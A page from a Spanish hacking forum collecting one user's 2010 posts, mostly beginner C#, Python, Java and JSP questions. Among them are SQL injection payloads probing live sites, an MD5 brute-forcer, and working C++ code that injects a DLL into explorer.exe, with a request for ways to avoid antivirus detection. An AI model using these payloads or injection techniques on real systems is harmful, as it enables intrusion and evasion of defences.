elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Temas
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16
21  Programación / .NET (C#, VB.NET, ASP) / [Source]Control de nodos en: 29 Octubre 2010, 21:49 pm
Bueno, he acabado mi propio ejercicio tras varios dias de dejarlo de lado, es muy sencillo, un control de nodos.
Los componentes de la gui se presuponen facilmente viendo el codigo:

-3 Botones
-1 TreeView

Aqui mi codigo :P

Código
  1.  
  2. using System;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Windows.Forms;
  10.  
  11. namespace Pruebas
  12. {
  13.    public partial class Form1 : Form
  14.    {
  15.        public Form1()
  16.        {
  17.            InitializeComponent();
  18.        }
  19.  
  20.        private void button1_Click(object sender, EventArgs e)
  21.        {
  22.            if (nombreNodo.Text == "")
  23.            {
  24.                TreeNode nodo = new TreeNode("NoName");
  25.                nodos.Nodes.Add(nodo);
  26.            }
  27.            else
  28.            {
  29.                TreeNode nodo = new TreeNode(nombreNodo.Text);
  30.                nodos.Nodes.Add(nodo);
  31.            }
  32.  
  33.  
  34.            nombreNodo.Text = "";
  35.        }
  36.  
  37.        private void button2_Click(object sender, EventArgs e)
  38.        {
  39.            TreeNode nodo2 = nodos.SelectedNode;
  40.            if(nombreNodo.Text == "") {
  41.                nodo2.Nodes.Add("NoName");
  42.            } else {
  43.                nodo2.Nodes.Add(nombreNodo.Text);
  44.            }
  45.            nombreNodo.Text = "";
  46.        }
  47.  
  48.        private void button3_Click(object sender, EventArgs e)
  49.        {
  50.            nodos.Nodes.Remove(nodos.SelectedNode);
  51.        }
  52.    }
  53. }
22  Programación / .NET (C#, VB.NET, ASP) / Empezando en C#: Mis problemas con TreeView en: 17 Octubre 2010, 17:48 pm
Buenas a todos, me presento y me estreno en este foro :P
Hace ya un tiempo tenia ganas de meterme en esto del C# y el .NET en general (Yo vengo de C++ y Java), gracias al amigo D4N93R, se me pusieron los dientes largos y decidí probarlo :P

Ahora os traigo mi primera duda, estoy diseñando una aplicación sencilla, como ejercicio, y pretendo hacerla bastante dinamica.
Es basicamente un programa en el que tu introduces un nombre en una textBox y mediante un boton lo escribes y vas añadiendo en forma de nodos de un arbol a un TreeView.

El problema se presenta cuando quiero añadir un nodo dentro de otro nodo.
Es posible hacerlo? Como?

Os dejo el codigo que tengo hecho:

Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9.  
  10. namespace WindowsFormsApplication1
  11. {
  12.    public partial class Form1 : Form
  13.    {
  14.        public Form1()
  15.        {
  16.            InitializeComponent();
  17.        }
  18.  
  19.        private void Form1_Load(object sender, EventArgs e)
  20.        {
  21.  
  22.  
  23.        }
  24.  
  25.        private void introducir_Click(object sender, EventArgs e)
  26.        {
  27.            TreeNode nodo = new TreeNode(nombreNodo.Text);
  28.            arbolClientes.Nodes.Add(nodo);
  29.        }
  30.    }
  31. }



EDITO: Solucionado xD ahora me salta el problema que no se como volver a la raiz, osea dejar de añadir sub-nodos dentro de uno general xD Tengo la sospecha de que debo cambiar el selected node, el problema es que no se detectar si hay alguno selecionado, no se si existe alguna condicion.

Os dejo el nuevo codigo:

Código
  1.  
  2. using System;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Windows.Forms;
  10.  
  11. namespace WindowsFormsApplication1
  12. {
  13.    public partial class Form1 : Form
  14.    {
  15.        public TreeNode nodo;
  16.        public TreeNode nodo1;
  17.        public Dictionary<String, TreeNode> biblioteca;
  18.        public Boolean primera = true;
  19.        public Form1()
  20.        {
  21.            InitializeComponent();
  22.        }
  23.  
  24.        private void Form1_Load(object sender, EventArgs e)
  25.        {
  26.  
  27.  
  28.        }
  29.  
  30.        private void introducir_Click(object sender, EventArgs e)
  31.        {
  32.            nodo = new TreeNode(nombreNodo.Text);
  33.            if (primera)
  34.            {
  35.                arbolClientes.Nodes.Add(nodo);
  36.                primera = false;
  37.            }
  38.            else
  39.            {
  40.                arbolClientes.SelectedNode.Nodes.Add(nodo);
  41.            }
  42.  
  43.        }
  44.  
  45.        private void btnBorrar_Click(object sender, EventArgs e)
  46.        {
  47.            arbolClientes.Nodes.Remove(arbolClientes.SelectedNode);
  48.        }
  49.    }
  50. }

Saludos a todos :D
23  Programación / Scripting / [Python]Problema al ejecutar metodo principal en: 9 Septiembre 2010, 22:51 pm
Muy buenas noches a todos!
He estado codeando un pequeño ejercicio que se me ocurrió en Python y he decidido hacerlo con clases y orientado a objetos, el problema es que no soy capaz de llamar al metodo main(), os muestro el codigo que llevo hecho:

Código
  1. '''
  2. Created on Sep 9, 2010
  3.  
  4. @author: Debci
  5. '''
  6. # -*- coding: utf-8 -*-
  7. class Matrizes:
  8.   #Nuestra querida matriz
  9.   matriz = []
  10.   def __init__(self):
  11.       self.main()
  12.   def main(self):
  13.        while True:
  14.            print "###### Manejo dinamico de matrizes ######\n\n"
  15.            print "1-Insertar valores a la matriz"
  16.            print "2-Examinar un elemento"
  17.            print "3-Borrar un elemento"
  18.            print "4-Modifica un elemento situado en un indice"
  19.            print "5-Visualizar la matriz completa"
  20.            print "6-Salir de esta aplicacion"
  21.            indiceLeido = raw_input("Introduce tu opcion:")
  22.            indiceLeido = int(indiceLeido)
  23.            Matrizes.opcion(indiceLeido)
  24.  
  25.  
  26.   def opcion(self,indice):
  27.  
  28.        #Comprobamos que indice es el introducido
  29.        if indice == 1:
  30.            numeroValores = raw_input("Cuantos valores desea introducir?\n")
  31.            numeroValores = int(numeroValores)
  32.            for i in range(numeroValores):
  33.                valor = raw_input("Introduzca el valor asignado al indice " + str(i) + ":")
  34.                valor = int(valor)
  35.  
  36.                Matrizes.matriz[i] = valor
  37.        elif indice == 5:
  38.            for j in Matrizes.matriz:
  39.                print j
  40. if __name__ == "__main__":
  41.        Matrizes.main()

Y al ejecutar el interprete me devuelve el siguiente error:
Citar
Traceback (most recent call last):
  File "/home/debci/workspace/Tester/src/main.py", line 41, in <module>
    Matrizes.main(super)
TypeError: unbound method main() must be called with Matrizes instance as first argument (got type instance instead)

Que ocurre? No estoy seguro pero me daba como error que habia que indicar self como primer parametro, pero no acabo de ver porque falla...

Un saludo y gracias desde ya.
24  Seguridad Informática / Nivel Web / Problema al hacer una SQLi en: 1 Septiembre 2010, 19:24 pm
Hola muy buenas a todos, probando una SQLi he encontrado lo que parece ser un posible vector de ataque:

Código:
http://www.mipagina.com/articulo/'1

CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1
CMS_GetArticleByURL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 1


Se supone que asi es vulnerable no?

Pero cuando intento hacer la injeción con esto:

Código:
-1+union+select+1,2,3,n--

(Con n me refiero a que voy subiendo de tablas)
Al insertar el -1 se va el error y no aparece ninguna tabla tras probar hasta 20 (no creo que haya mas, sinceramente).

Es vulnerable o simplemente no la estoy atacando bien?

Saludos

25  Programación / Java / [Source]Bruteforcer MD5 en: 29 Agosto 2010, 13:05 pm
Si! LO he conseguido, he hecho que el algoritmo sea dinámico y ampliable, he empezado a trabajar de nuevo en el para un projecto que requiere una comunicación de red, para realizar checksums, y modificar otros por fuerza bruta.

Tal como esta el codigo puesto (podeis modificar 2 parametros para ampliarlo), puede descifrar cualquier cadena de texto de 3 caracteres que contenga A,B,C por lo que yo he usado como ejemplo el siguiente hash:
 md5("ACB") = 79661ff25e39af70fc48d7785f587e85;

Vamos a cualquier pagina de cifrado MD5 y le metemos el siguiente texto para cifrar:
ACB y obtenemos que la hash es: 79661ff25e39af70fc48d7785f587e85

Si no sabemos como devolverla al estado original ahora viene cuando actua mi programa:
Código
  1. import java.lang.String;
  2. import java.math.BigInteger;
  3. import java.security.MessageDigest;root
  4. import java.security.NoSuchAlgorithmException;
  5. import java.util.logging.Level;
  6. import java.util.logging.Logger;
  7.  
  8. /**
  9.  *
  10.  * @author Debci
  11.  */
  12. public class Encriptor {
  13.  
  14.  
  15.    public static void main(String[] args)
  16.    {
  17.        String resultado = null;
  18.        String match = "79661ff25e39af70fc48d7785f587e85";
  19.  
  20.  
  21.        char[] mapaChars = {'A','B','C','D'};
  22.        int longitud = 3;
  23.        int posibles = (int) Math.pow(longitud,mapaChars.length);
  24.  
  25.        char[] combinacion = new char[longitud];
  26.  
  27.        int[] indice = new int[longitud];
  28.        for(int i = 0; i < posibles;i++)
  29.        {
  30.          for(int x = 0; x < indice.length; x++) {
  31.           if(!(x==indice.length)) {
  32.                  if(indice[x] == mapaChars.length) {
  33.                    indice[x] = 0;
  34.                    indice[x+1]++;
  35.                  }
  36.                }else{
  37.                  indice[x] = 0;
  38.                }
  39.          }
  40.  
  41.          for(int h = 0; h < longitud; h++) {
  42.              combinacion[h] = mapaChars[indice[h]];
  43.          }
  44.  
  45.          char[] resultadoTemporal = new char[longitud];
  46.          for(int j = 0; j < combinacion.length; j++) {
  47.              resultadoTemporal[j] = combinacion[j];
  48.          }
  49.          //System.out.println(resultadoTemporal);
  50.          String resultadoFinal = new String(resultadoTemporal);
  51.          String resultadoEncriptado = new String(Encriptor.encriptaMD5(resultadoFinal));
  52.          if(resultadoEncriptado.equals(match))
  53.          {
  54.              resultado = resultadoTemporal.toString();
  55.              System.out.println("Hash crackeada con exito!\n" + resultadoFinal);
  56.              break;
  57.          }
  58.  
Encriptad cualquier cadena con los caracteres:
Código
  1. char[] mapaChars = {'A','B','C','D'};
Añadid los que querais, para crackear cualquier hash, el algoritmo esta diseñado para adaptarse a un nuevo dicionario y a la longitud de la hash variable:
Código
  1. int longitud = 3;
Osea que es extensible, pero si aumentamos mucho puede no funcionar por limitaciones de datos tipo int, las posibilidades serian grandiosas y un int no puede con un dato asi de grande, por lo que ya trabajo en un método para no depender de la VM de java y almacenar dicho numero de combinaciones posibles en memoria directamente.
Cabe mencionar que para entender el codigo quizás haya que tener un nivel medio-basico de combinatoria y matematicas estadisticas (sobre todo con probabilidad).

Disfruten el codigo!

Leyer estate tranquilo que esta quedando de coña!

Saludos
26  Seguridad Informática / Nivel Web / [SQLi]Problema al obtener informationschema.tables en: 25 Agosto 2010, 22:23 pm
Buenas a todos, estoy auditando un sistema web casera de la tienda de mi tio, me dijo que lo podia usar para hacer pruebas si no modificaba nada  >:D
La cuestión es que encontré varias fallas SQLi, y ahora quiero simular la explotación o por lo menos obtener datos interesantes, primero comprové que la variable ID era vulnerable:

Código:
noticias.php?id='1
Y devolvió error!

Luego me aseguré de ver que tablas eran vulnerables y en la numero 7 pude observar que me devolvia 2,4,5
Código:
noticias.php?id=-1+union+select+1,2,3,4,5,6,7--
Así que procedí a obtener la information_schema, pero antes comprobar la versión:

Código:
noticias.php?id=id=-1+union+select+1,@@version,3,4,5,6,7--
Y me deolvió:
4.0.27-max-log

Y según se, este mysql no trae information_schema , cierto? Ya me confirmarán.
Ahora viene el problema, intento obtener tablas de information_schema:
Código:
noticias.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables--
Pero tan solo obtengo:
Citar
Error : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(table_name),3,4,5,6,7 from information_schema.tables--' at lin

Que estoy haciendo mal? Juraria que la querie esta bien formulada pero no soy muy dado a los SQLi :S

Saludos
27  Programación / Java / [JSP]Problemas con el classpath? O error de codigo :S en: 24 Agosto 2010, 14:00 pm
Buenas a todos, estoy diseñando un soft web para mostrar una lista de opcodes (te suena LEYER?), queri ver si algun usser que haya usado mas JSP podria saber porque ocurre el siguiente error:

Código
  1. <%@ page  import="java.io.*,java.util.*,java.net.*,java.sql.*" %>
  2.  
  3. <!DOCTYPE HTML PUBLIC  "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">
  4. <head><title>Ejemplo consulta  JSP</title></head>
  5. <%
  6. Connection  canal = null;
  7. Statement instruccion=null;
  8. ResultSet tabla= null;
  9. String conexion =  ("jdbc:mysql://localhost/opcodes?user='noteinteresa'&amp;password='noteinteresa'");
  10. //Abrir el enlace
  11. try{
  12. Class.forName("com.mysql.jdbc.Driver").newInstance();
  13. canal =  DriverManager.getConnection(conexion);
  14. instruccion =  canal.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  15. }
  16. catch(ClassNotFoundException e){ out.println(e);}
  17. catch(SQLException e){ out.println(e);}
  18. try{
  19. tabla =  instruccion.executeQuery("SELECT * FROM dictionary");
  20. out.println("<table border=1>");
  21. out.println("<tr><th>Id</th><th>Comando</th><th>Comando antiguo</th><th>Info</th></tr>");
  22. while(tabla.next()){
  23. out.println("<tr><td>"+tabla.getString(1)+"</td><td>"+tabla.getString(2)+"</td><td>"+tabla.getString(3)+"</td><td>"+tabla.getString(4)+"</td></tr>");
  24. }
  25. out.println("</table>");
  26. }
  27. catch(Exception e){  out.println(e);}
  28. %>
Me devuelve el siguiente error:
java.lang.ClassNotFoundException: com.mysql.jdbc.Driver java.lang.NullPointerException
He añadido al projecto en netbeans dicha libreria y nada :s

Saludos
28  Programación / Scripting / Problema con expresiones regulares en: 21 Agosto 2010, 22:05 pm
Hola a todos, hace un rato me ha dado el puntazo de hacerme un parser para una pagina web y he decidido hacerlo en Python, he leido la doc de las regexp con algunos ejemplos, pero no funciona como deberia, al menos eso me parece a mi:

Código
  1. #!/usr/bin/python
  2. import re
  3. while True:
  4.  palabra = raw_input("Introduce tu expresion para ver si coincide:\n");
  5.  if re.match("http://(.+)\net", palabra):
  6.     print "Cierto"
  7.  else:
  8.     print "Falso"
  9.  

Si en teoria introduzco http://www.google.net
Deberia devolverme cierto no?
Pero no es asi.
No tengo claro del todo que hace el + pero creo que concatena las dos cadenas, es como el divisor entre miembros, pero no estoy seguro.

Saludos
29  Sistemas Operativos / GNU/Linux / Internet desconcertantemente lento con Backtrack 4 R1! en: 20 Agosto 2010, 23:22 pm
Asi es amigos, tras instalar y probar Backtrack4 por algun motivo mi conexion a internet se ralentiza usando este sistema operativo.
Si pruebo en mi otra particion con Windows o Ubuntu, funciona perfectamente sin ralentizaciones.

Cabe mencionar que en la version anterior de Backtrack iba perfectamente, osea la Backtrack 4 final.
Conectaba y nevagaba a velocidad normal sin problemas.

Alguien tiene idea de lo que puede estar pasando?

Saludos
30  Programación / Programación C/C++ / [SOURCE]Inyeccion DLL y control de procesos! en: 18 Agosto 2010, 19:44 pm
Buenas a todos, tras seguir investigando el API de windows, al final he conseguido injectar mi propia dll, en este caso bajo el proceso explorer.exe, que tras realizar pruebas he visto que se bloqueaba, por lo que el programa reinicia el proceso antes de injectar la DLL.

Se que me van a hechar la bronca por abrir el proceso con una call a system(); pero no queria complicarme demasiado la vida, al menos no ahora, queria asegurarme no mas de que funcionaba.

Luego encontre que los antivirus detectan el CreateRemoteThread como malicioso, asi que agradeceria algun otro metodo o consejo.

Sin mas el codigo:

PsControl.h
Código
  1. #ifndef _PSCONTROL_H_
  2. #define _PSCONTROL_H_
  3. #include <Windows.h>
  4. #include <iostream>
  5. #include <cstdlib>
  6. #include <tlhelp32.h>
  7. #include <tchar.h>
  8. #include <stdio.h>
  9. using namespace std;
  10. int killProcess(DWORD pid)
  11. {
  12.    HANDLE proceso;
  13.    proceso=OpenProcess(PROCESS_TERMINATE,FALSE,pid);
  14.  
  15. //cerramos el proceso
  16. TerminateProcess(proceso,0);
  17.  
  18. CloseHandle(proceso);
  19. return 0;
  20.  
  21. }
  22. DWORD getPsId(const char* PsName)
  23. {
  24. DWORD ProcessID;    
  25. HANDLE Handle;
  26. PROCESSENTRY32 ProcI;
  27.  
  28. Handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  29. ProcI.dwSize=sizeof(PROCESSENTRY32);
  30.  
  31. while(Process32Next(Handle,&ProcI))
  32.     if(!strcmp(ProcI.szExeFile,PsName))
  33.        ProcessID=ProcI.th32ProcessID;
  34.  
  35.  
  36. CloseHandle(Handle);
  37.  
  38. return ProcessID;
  39. }
  40. #endif
  41.  

main.cpp
Código
  1. #include <windows.h>
  2. #include <Tlhelp32.h>
  3. #include <stdio.h>
  4. #include <conio.h>
  5. #include <iostream>
  6. #include "PsControl.h"
  7. using namespace std;
  8. void main()
  9. {
  10. HANDLE psHandle;
  11. LPVOID RemoteString;
  12. LPVOID nLoadLibrary;
  13. int PSpid;
  14.  
  15. DWORD psPID = getPsId("explorer.exe");
  16.    cout << psPID << endl;
  17.    killProcess(psPID);
  18. system("explorer.exe");
  19. HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  20.    PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
  21. cout << "[!]Buscando el proceso... "<< endl;
  22.    while(Process32Next(handle, &procinfo))
  23.    {
  24.       if(!strcmp(procinfo.szExeFile, "explorer.exe"))
  25.       {
  26.           CloseHandle(handle);
  27.   PSpid = procinfo.th32ProcessID;
  28.   cout << "[+]Proceso encontrado!" << endl;
  29.       }
  30.    }
  31.    CloseHandle(handle);
  32.  
  33.  
  34. cout << "[!]Iniciando injecion de DLL..." << endl;
  35. cout << "[+]Obteniendo handle del proceso..." << endl;
  36. if(!(psHandle = OpenProcess(PROCESS_ALL_ACCESS, false, PSpid)) == 0)
  37. cout << "[-]Error al conseguir el handler del proceso!" << endl;
  38. nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
  39. RemoteString = (LPVOID)VirtualAllocEx(psHandle,NULL,strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  40. WriteProcessMemory(psHandle,(LPVOID)RemoteString,"C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll",strlen("C:\\Users\\Administrador\\Documents\\Visual Studio 2008\\Projects\\Injectado\\Debug\\Injectado.dll"),NULL);
  41. CreateRemoteThread(psHandle,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
  42. CloseHandle(psHandle);
  43. getch();
  44. }
  45.  
El codigo no esta ordenado, he repetido una misma funcion 2 veces (lo arreglare) pero queria que me dijesen que tal.

Saludos
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines